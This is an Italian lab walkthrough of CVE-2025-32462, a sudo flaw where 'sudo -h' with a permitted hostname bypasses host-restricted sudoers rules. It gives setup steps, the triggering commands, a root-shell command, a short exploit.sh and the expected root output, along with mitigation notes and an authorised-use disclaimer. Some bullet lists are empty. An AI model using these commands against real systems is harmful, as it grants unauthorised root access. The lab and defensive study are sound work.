
CVE-2025-32462 è una vulnerabilità di escalation dei privilegi locale in sudo.
CVE-2025-32462 è una vulnerabilità di escalation locale dei privilegi in sudo che consente a un utente con privilegi bassi di eseguire comandi come root abusando delle regole sudo limitate al nome host. Il problema risiede nel modo in cui sudo gestiva storicamente l'opzione -h (host) durante i controlli di autorizzazione.
Quando una regola sudoers è limitata a un nome host specifico, sudo dovrebbe consentire l'esecuzione solo quando il nome host del sistema corrisponde alla regola. A causa di una logica difettosa, le versioni interessate consideravano attendibile un nome host fornito dall'utente tramite sudo -h, consentendo agli aggressori di aggirare completamente la restrizione.
sudo consentiva all'argomento -h <hostname> di influenzare le decisioni di autorizzazione. Nelle versioni vulnerabili, il nome host fornito veniva considerato attendibile durante la valutazione delle regole sudoers, invece di essere validato rigorosamente rispetto al nome host reale del sistema.
Di conseguenza, le restrizioni sudo basate sul nome host potevano essere aggirate.
Se sfruttata con successo, un aggressore locale può:
Negli ambienti reali, questa vulnerabilità è particolarmente pericolosa in:
| Componente | Dettagli |
|---|---|
| Sistema operativo | Debian 11 (Bullseye – non aggiornato) |
| Versione sudo | ≤ 1.9.13 |
| Livello di accesso | Utente locale |
| Virtualizzazione | VirtualBox |
⚠️ Nota: Le versioni moderne di Ubuntu e Debian hanno integrato patch backport mantenendo stringhe di versione simili. Questa vulnerabilità non può essere riprodotta sui sistemi aggiornati.
sudo --version
Previsto (vulnerabile):
Sudo version 1.9.5p2
sudo useradd -m attacker
sudo passwd attacker
groups attacker
Previsto:
attacker : attacker
L'utente non deve appartenere al gruppo sudo.
Modificare sudoers in sicurezza:
sudo visudo
Aggiungere la seguente riga:
attacker prod-server = (root) ALL
prod-server è un nome host fittizioVerifica:
sudo -l -U attacker
Previsto:
User attacker may run the following commands on prod-server:
(root) ALL
Passa all'utente:
su - attacker
Prova sudo normalmente:
sudo id
Previsto:
attacker is not allowed to run sudo on <hostname>
Attiva la vulnerabilità:
sudo -h prod-server id
Output di sfruttamento riuscito:
uid=0(root) gid=0(root) groups=0(root)
Avvia una shell root:
sudo -h prod-server /bin/bash
Verifica:
id
#!/bin/bash
echo "[*] Attempting CVE-2025-32462 exploitation"
sudo -h prod-server id
Salva come exploit.sh, rendilo eseguibile ed eseguilo come utente attacker:
chmod +x exploit.sh
./exploit.sh
| Azione | Risultato |
|---|---|
| sudo normale | ❌ Negato |
sudo -h prod-server id | ✅ Root |
Ciò conferma un'escalation dei privilegi riuscita.
Le versioni moderne di Ubuntu sembrano includere versioni di sudo che rientrano nell'intervallo interessato. Tuttavia, Ubuntu ha integrato tramite backport la correzione di sicurezza per CVE‑2025‑32462 senza modificare la stringa di versione upstream.
Di conseguenza:
sudo -h non influenza più i controlli di autorizzazioneCiò evidenzia l'importanza di convalidare lo stato della vulnerabilità utilizzando test comportamentali, non solo le stringhe di versione.
sudo a una versione correttaQuesta procedura è destinata esclusivamente a scopi educativi e di ricerca sulla sicurezza difensiva. Non testare questa vulnerabilità su sistemi che non possiedi o per i quali non hai un'autorizzazione esplicita a valutare.